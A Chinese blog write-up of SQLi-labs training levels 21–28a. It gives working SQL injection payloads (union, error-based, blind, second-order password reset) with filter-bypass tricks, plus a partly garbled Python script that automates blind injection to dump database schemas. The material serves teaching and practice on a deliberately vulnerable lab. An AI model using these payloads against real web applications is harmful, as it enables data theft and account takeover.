热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

SQLilabsPage2

Less-21cookie注入引号和括号闭合base64编码PHP的$_COOKIE变量用于取回cookie的值。

Less-21

COOKIE注入 引号和括号闭合 base64编码

PHP 的 $_COOKIE 变量用于取回 COOKIE 的值。


php
// 输出 COOKIE 值
echo $_COOKIE["user"];

// 查看所有 COOKIE
print_r($_COOKIE);
?>

 


Less-23

#   被过滤了


$id=$_GET[‘id‘];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1 


Payloads:

?id=1‘  //报错,说明存在注入漏洞

?id=1‘ and ‘1‘=‘1   //恢复正常 存在 字符型 单引号注入

?id=1‘ union select 1,2,3‘  //还是返回正常页面

?id=-1‘ union select 1,2,3‘  //找出显示位

技术分享图片

 

或者这样

?id=-1‘ union select 1,2,3 and ‘1‘=‘1


Less-24  二次注入

二次注入 就是 恶意语句 被插入数据库,因为数据库中的 数据 默认是可信的,所以没有经过处理,被调用的时候会造成注入

注册用户 admin‘#  密码:222222

技术分享图片

 

 技术分享图片

成功插入数据,登录 admin‘#   修改密码为 000000,此时admin的密码被修改为000000了,admin‘#确没有发生变化

技术分享图片

 

 然后就可以用admin   000000进行登录

    原SQL语句:UPDATE users SET PASSWORD=‘$pass‘ where username=‘$username‘ and password=‘$curr_pass‘

   修改密码sql语句:UPDATE users SET PASSWORD=‘$pass‘ where username=‘admin‘#‘ and password=‘$curr_pass‘

   最后真正执行的sql语句:UPDATE users SET PASSWORD=‘$pass‘ where username=‘admin‘

在数据库中的数据没有做任何检测,插入语句中,造成注入


Less-25

or  和  and 被过滤,大小写也无法绕过 

or 可用 ||代替

and可用 && 或 %26%26  代替




  1. 大小写变形 Or,OR,oR



  2. 编码,hex,urlencode



  3. 添加注释/*or*/


  4. 利用符号 and=&& or=||

  5. 双写or或and绕过


function blacklist($id)
{
$id= preg_replace(‘/or/i‘,"", $id); //strip out OR (non case sensitive)
$id= preg_replace(‘/AND/i‘,"", $id); //Strip out AND (non case sensitive)

return $id;
}

?id=1‘   //页面出现报错,存在注入 单引号

?id=1‘ %26%26 ‘1‘=‘1

技术分享图片

 

 ?id=-1‘ union select 1,2,3 %26%26 ‘1‘=‘1   //找出显示位

技术分享图片

 

或者报错注入

?id=1‘ || updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ 


Less-25a

or 和 and 被过滤  盲注版本

?id=1 aandnd If(ascii(substr(database(),1,1))=115,sleep(3),1)#        //延时注入

 

?id=1 anandd substr(database(),1,1)=‘s‘    //布尔盲注


Less-26

基于错误_GET_过滤空格/注释_单引号_字符型注入

参考https://www.jianshu.com/p/ff72f2c6d99c

过滤一些关键 字符串


function blacklist($id)
{
$id= preg_replace(‘/or/i‘,"", $id); //strip out OR (non case sensitive)
$id= preg_replace(‘/and/i‘,"", $id); //Strip out AND (non case sensitive)
$id= preg_replace(‘/[\/\*]/‘,"", $id); //strip out /*
$id= preg_replace(‘/[--]/‘,"", $id); //Strip out --
$id= preg_replace(‘/[#]/‘,"", $id); //Strip out #
$id= preg_replace(‘/[\s]/‘,"", $id); //Strip out spaces
$id= preg_replace(‘/[\/\\\\]/‘,"", $id); //Strip out slashes
return $id;
}

绕过过滤方法:

链接 

 

这里有一个别人写的脚本判断哪些 URL 编码能够代替空格


import requests
def changeToHex(num)
:
tmp
= hex(i).replace("0x", "")
if len(tmp)<2:
tmp
= ‘0‘ + tmp
return "%" + tmp
req
= requests.session()
for i in range(0,256):
i
= changeToHex(i)
url
= "http://192.168.2.211/sqli-labs/Less-26/?id=1‘" + i + "%26%26" + i + "‘1‘=‘1"
ret
= req.get(url)
if b‘Dumb‘ in ret.content:
print("good,this can use:" + i)

运行结果

技术分享图片

?id=1‘   //判断单引号 注入

?id=0‘%a0union%a0select%a02,database(),4%a0||%a0‘1‘=‘1  //获得显示位



?id=0‘%a0union%a0select%a02,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=‘security‘),4%a0||%a0‘1‘=‘1   //表名

 

或者报错注入

?id=0‘||updatexml(1,concat(‘$‘,(database())),0)||‘1‘=‘1

 

或者盲注


?id=1‘%26%26(ascii(mid((select(group_concat(schema_name))from(infoorrmation_schema.schemata)),1,1))>65)||‘1‘=‘

 

?id=1‘%26%26(ascii(mid((select(group_concat(schema_name))from(infoorrmation_schema.schemata)where(table_schema=‘database_name‘%26%26table_name=‘table_name‘)),1,1))>65)||‘1‘=‘

 

?id=1‘%26%26(ascii(mid((select(group_concat(concat_ws(‘$‘,id,username,passwoorrd)))from(users)),1,1))>65)||‘1‘=‘



Less-26a  盲注

?id=1‘%26%26(substr(database(),1,1)=‘3‘)||‘1‘=‘        //布尔盲注

 

?id=1‘%26%26(ascii(mid((select(group_concat(schema_name))from(infoorrmation_schema.schemata)),1,1))<65)||‘1‘=‘


Less-27  

过滤了union 和select 

过滤列表


function blacklist($id)
{
$id= preg_replace(‘/[\/\*]/‘,"", $id); //strip out /*
$id= preg_replace(‘/[--]/‘,"", $id); //Strip out --.
$id= preg_replace(‘/[#]/‘,"", $id); //Strip out #.
$id= preg_replace(‘/[ +]/‘,"", $id); //Strip out spaces.
$id= preg_replace(‘/select/m‘,"", $id); //Strip out spaces.
$id= preg_replace(‘/[ +]/‘,"", $id); //Strip out spaces.
$id= preg_replace(‘/union/s‘,"", $id); //Strip out union
$id= preg_replace(‘/select/s‘,"", $id); //Strip out select
$id= preg_replace(‘/UNION/s‘,"", $id); //Strip out UNION
$id= preg_replace(‘/SELECT/s‘,"", $id); //Strip out SELECT
$id= preg_replace(‘/Union/s‘,"", $id); //Strip out Union
$id= preg_replace(‘/Select/s‘,"", $id); //Strip out select
return $id;
}



没有过滤orand,过滤了几个大小写的unionselect但是可以用随机大小写绕过,过滤了--#以及/**/,过滤了两次空格,过滤了/但没过滤\

所以实际上只过滤了注释空格,与 Less 26 相似。


绕过方法


基于正确注入

?id=1‘       //发生报错

?id=1‘ and ‘1‘=‘1  //显示正常页面

?id=1‘ and ‘1‘=‘2  //页面返回错误 ,确定此处有字符型注入

?id=0‘%a0uNiOn%a0SeLeCt%a01,2,3%a0and ‘1‘=‘1    //找到显示位  与Less-26相同只是 union和select 字母随机大小写

问题:这里不需要 用 order by 判断字段数吗?如果用的话 我没弄出来

?id=0‘%a0uNiOn%a0SeLeCt%a01,database(),3%a0and ‘1‘=‘1  //库名

?id=0‘%a0uNiOn%a0SeLeCt%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0and ‘1‘=‘1  //表名

?id=0‘%a0uNiOn%a0SeLeCt%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name=‘users‘%a0and ‘1‘=‘1   //列名


基于报错注入

?id=0‘and%a0updatexml(1,concat(0x7e,(database()),0x7e),1)and‘1‘=‘1  //库名

?id=0‘and%a0updatexml(1,concat(0x7e,(sEleCT%a0table_name%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0limit%a0 1,1),0x7e),1)and‘1‘=‘1  //表名

?id=0‘and%a0updatexml(1,concat(0x7e,(sEleCT%a0column_name%a0from%a0information_schema.columns%a0where%a0table_name=‘users‘%a0limit%a0 2,1),0x7e),1)and‘1‘=‘1   //字段名

?id=0‘and%a0updatexml(1,concat(0x7e,(sEleCT%a0password%a0from%a0users%a0limit%a0 1,1),0x7e),1)and‘1‘=‘1   //字段内容


Less-27a  盲注


基于盲注

?id=1‘and%a0(length(database())=8)%a0or‘1‘=‘2   //盲注当length(database())=8时显示正常页面

?id=1‘and%a0(substr(database(),1,1)=‘s‘)%a0or‘1‘=‘2   //获得数据库名

盲注脚本代码:替换url和payload和判断正确错误的关键字即可


# _*_ coding:utf-8 _*_
import requests
import urllib
import time
start_time
= time.time()
def database_length(url):
values
={}
for i in range(1,100):
values[
id] = "id=1‘ and (select length(database()))=%s" %i
print(values)
data
= urllib.urlencode(values)
geturl
= url+?+data
response
= requests.get(geturl)
if response.content.find(Angelina)>0:
return i
def database_name(url):
payloads
= abcdefghijklmnopqrstuvwxyz0123456789@_.
values
={}
databasename
= ‘‘
aa
= 15
aa
= database_length(url)
print(aa)
for i in range(1, aa+1):
for payload in payloads:
values[
id] = "id=1‘ and ascii(substring(database(),%s,1))=%s " %(i,ord(payload))
data
= urllib.urlencode(values)
geturl
= url+?+data
response
= requests.get(geturl)
if response.content.find(Angelina)>0:
databasename
+= payload
return databasename
#print database_name(‘http://192.168.125.129/config/sql.php‘)


def table_count(url,database):
values
={}
for i in range(1,100):
values[
id] = "id=1‘ and (select count(table_name) from information_schema.tables where table_schema="+""+database+"‘)"+"=%s" %i
data
= urllib.urlencode(values)
geturl
= url+?+data
response
= requests.get(geturl)
if response.content.find(Angelina)>0:
return i
def table_length(url,a,database):
values
={}
for i in range(1,100):
values[
id] = "id=1‘ and (select length(table_name) from information_schema.tables where table_schema="+""+database+""+" limit %s,1)=%s" %(a,i)
data
= urllib.urlencode(values)
geturl
= url+?+data
response
= requests.get(geturl)
if response.content.find(Angelina)>0:
return i
def table_name(url,database):
payloads
= abcdefghijklmnopqrstuvwxyz0123456789@_.
values
={}
table_name
=[]
bb
= table_count(url,database)
for i in range(0,bb+1):
user
= ‘‘
cc
=table_length(url,i,database)
if cc==None:
break
for j in range(0,cc+1):
for payload in payloads:
values[
id] = "id=1‘ and ascii(substring((select table_name from information_schema.tables where table_schema="+""+database+""+" limit %s,1),%s,1))=%s " %(i,j,ord(payload))
data
= urllib.urlencode(values)
geturl
= url+?+data
response
= requests.get(geturl)
if response.content.find(Angelina)>0:
user
+= payload
#print payload
table_name.append(user)
return table_name
#print table_name(‘http://192.168.125.129/config/sql.php‘,‘test‘)
def column_count(url,table_name):
values
={}
for i in range(1,100):
values[
id] = "id=1‘ and (select count(column_name) from information_schema.columns where table_name="+""+table_name+""+")=%s" %i
data
= urllib.urlencode(values)
geturl
= url+?+data
response
= requests.get(geturl)
if response.content.find(Angelina)>0:
return i
def column_length(num,url,table_name):
values
={}
for i in range(1,100):
limit
= " limit %s,1)=%s" %(num,i)
values[
id] = "id=1‘ and (select length(column_name) from information_schema.columns where table_name="+""+table_name+""+limit
data
= urllib.urlencode(values)
geturl
= url+?+data
response
= requests.get(geturl)
if response.content.find(Angelina)>0:
return i
def column_name(url,table_name):
payloads
= abcdefghijklmnopqrstuvwxyz0123456789@_.
values
={}
column_name
=[]
dd
=column_count(url,table_name)
for i in range(0,dd+1):
user
= ‘‘
bb
=column_length(i,url,table_name)
if bb==None:
break
for j in range(0,bb+1):
for payload in payloads:
limit
=" limit %s,1),%s,1))=%s" %(i,j,ord(payload))
values[
id] = "id=1‘ and ascii(substring((select column_name from information_schema.columns where table_name="+""+table_name+""+limit
data
= urllib.urlencode(values)
geturl
= url+?+data
response
= requests.get(geturl)
if response.content.find(Angelina)>0:
user
+= payload
column_name.append(user)
return column_name
#print column_name(‘http://192.168.125.129/config/sql.php‘,‘admin‘)
if __name__ == __main__:
url
=http://192.168.1.117/sqli-labs/Less-62/index.php
databasename
=database_name(url)
print "The current database: "+databasename

database
=raw_input("Please input your databasename: ")
tables
=table_name(url,database)
print database+" have the tables:",
print tables
for table in tables:
print table+" have the columns:"
print column_name(url,table)
print Use for: %d second % (time.time() - start_time)


Less-28


基于错误_GET_过滤UNION/SELECT_单引号_小括号_字符型_盲注



function blacklist($id)
{
$id= preg_replace(‘/[\/\*]/‘,"", $id); //strip out /*
$id= preg_replace(‘/[--]/‘,"", $id); //Strip out --.
$id= preg_replace(‘/[#]/‘,"", $id); //Strip out #.
$id= preg_replace(‘/[ +]/‘,"", $id); //Strip out spaces.
//$id= preg_replace(‘/select/m‘,"", $id); //Strip out spaces.

$id= preg_replace(‘/[ +]/‘,"", $id); //Strip out spaces.
$id= preg_replace(‘/union\s+select/i‘,"", $id); //Strip out UNION & SELECT.
return $id;
}

没有过滤orand

过滤了相连的unionselect/i同时匹配大小写,\s匹配任意空白字符如制表符、换行符、空格等,使用%a0可以绕过。

过滤了--#以及/**/

过滤了两次空格

过滤了/但没过滤\



基于正确注入


 ?id=0‘%a0uNiOn%a0sElEcT%a01,2,3%a0and ‘1‘=‘1  //这样直接报错

?id=1‘)%a0uNiOn%a0sElEcT%a01,2,3%a0and ‘1‘=(‘1    //正常显示

?id=0‘)%a0uNiOn%a0sElEcT%a01,2,3%a0and ‘1‘=(‘1   //找出显示位

数据库名、表名同Less-26  Less-27


Less-28a  盲注

?id=1‘)and%a0(length(database())=8)%a0or‘1‘=(‘2   //盲注

 

 

 未完

Done!!!

 


推荐阅读
  • 本文介绍了lua语言中闭包的特性及其在模式匹配、日期处理、编译和模块化等方面的应用。lua中的闭包是严格遵循词法定界的第一类值,函数可以作为变量自由传递,也可以作为参数传递给其他函数。这些特性使得lua语言具有极大的灵活性,为程序开发带来了便利。 ... [详细]
  • 本文介绍了使用Java实现大数乘法的分治算法,包括输入数据的处理、普通大数乘法的结果和Karatsuba大数乘法的结果。通过改变long类型可以适应不同范围的大数乘法计算。 ... [详细]
  • HDU 2372 El Dorado(DP)的最长上升子序列长度求解方法
    本文介绍了解决HDU 2372 El Dorado问题的一种动态规划方法,通过循环k的方式求解最长上升子序列的长度。具体实现过程包括初始化dp数组、读取数列、计算最长上升子序列长度等步骤。 ... [详细]
  • 本文讨论了如何优化解决hdu 1003 java题目的动态规划方法,通过分析加法规则和最大和的性质,提出了一种优化的思路。具体方法是,当从1加到n为负时,即sum(1,n)sum(n,s),可以继续加法计算。同时,还考虑了两种特殊情况:都是负数的情况和有0的情况。最后,通过使用Scanner类来获取输入数据。 ... [详细]
  • 本文介绍了C#中数据集DataSet对象的使用及相关方法详解,包括DataSet对象的概述、与数据关系对象的互联、Rows集合和Columns集合的组成,以及DataSet对象常用的方法之一——Merge方法的使用。通过本文的阅读,读者可以了解到DataSet对象在C#中的重要性和使用方法。 ... [详细]
  • 本文介绍了OC学习笔记中的@property和@synthesize,包括属性的定义和合成的使用方法。通过示例代码详细讲解了@property和@synthesize的作用和用法。 ... [详细]
  • 本文详细介绍了Linux中进程控制块PCBtask_struct结构体的结构和作用,包括进程状态、进程号、待处理信号、进程地址空间、调度标志、锁深度、基本时间片、调度策略以及内存管理信息等方面的内容。阅读本文可以更加深入地了解Linux进程管理的原理和机制。 ... [详细]
  • 1,关于死锁的理解死锁,我们可以简单的理解为是两个线程同时使用同一资源,两个线程又得不到相应的资源而造成永无相互等待的情况。 2,模拟死锁背景介绍:我们创建一个朋友 ... [详细]
  • 《数据结构》学习笔记3——串匹配算法性能评估
    本文主要讨论串匹配算法的性能评估,包括模式匹配、字符种类数量、算法复杂度等内容。通过借助C++中的头文件和库,可以实现对串的匹配操作。其中蛮力算法的复杂度为O(m*n),通过随机取出长度为m的子串作为模式P,在文本T中进行匹配,统计平均复杂度。对于成功和失败的匹配分别进行测试,分析其平均复杂度。详情请参考相关学习资源。 ... [详细]
  • 动态规划算法的基本步骤及最长递增子序列问题详解
    本文详细介绍了动态规划算法的基本步骤,包括划分阶段、选择状态、决策和状态转移方程,并以最长递增子序列问题为例进行了详细解析。动态规划算法的有效性依赖于问题本身所具有的最优子结构性质和子问题重叠性质。通过将子问题的解保存在一个表中,在以后尽可能多地利用这些子问题的解,从而提高算法的效率。 ... [详细]
  • 高质量SQL书写的30条建议
    本文提供了30条关于优化SQL的建议,包括避免使用select *,使用具体字段,以及使用limit 1等。这些建议是基于实际开发经验总结出来的,旨在帮助读者优化SQL查询。 ... [详细]
  • 本文介绍了指针的概念以及在函数调用时使用指针作为参数的情况。指针存放的是变量的地址,通过指针可以修改指针所指的变量的值。然而,如果想要修改指针的指向,就需要使用指针的引用。文章还通过一个简单的示例代码解释了指针的引用的使用方法,并思考了在修改指针的指向后,取指针的输出结果。 ... [详细]
  • 猜字母游戏
    猜字母游戏猜字母游戏——设计数据结构猜字母游戏——设计程序结构猜字母游戏——实现字母生成方法猜字母游戏——实现字母检测方法猜字母游戏——实现主方法1猜字母游戏——设计数据结构1.1 ... [详细]
  • CentOS 7部署KVM虚拟化环境之一架构介绍
    本文介绍了CentOS 7部署KVM虚拟化环境的架构,详细解释了虚拟化技术的概念和原理,包括全虚拟化和半虚拟化。同时介绍了虚拟机的概念和虚拟化软件的作用。 ... [详细]
  • Redis底层数据结构之压缩列表的介绍及实现原理
    本文介绍了Redis底层数据结构之压缩列表的概念、实现原理以及使用场景。压缩列表是Redis为了节约内存而开发的一种顺序数据结构,由特殊编码的连续内存块组成。文章详细解释了压缩列表的构成和各个属性的含义,以及如何通过指针来计算表尾节点的地址。压缩列表适用于列表键和哈希键中只包含少量小整数值和短字符串的情况。通过使用压缩列表,可以有效减少内存占用,提升Redis的性能。 ... [详细]
author-avatar
思恋相依相惜
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有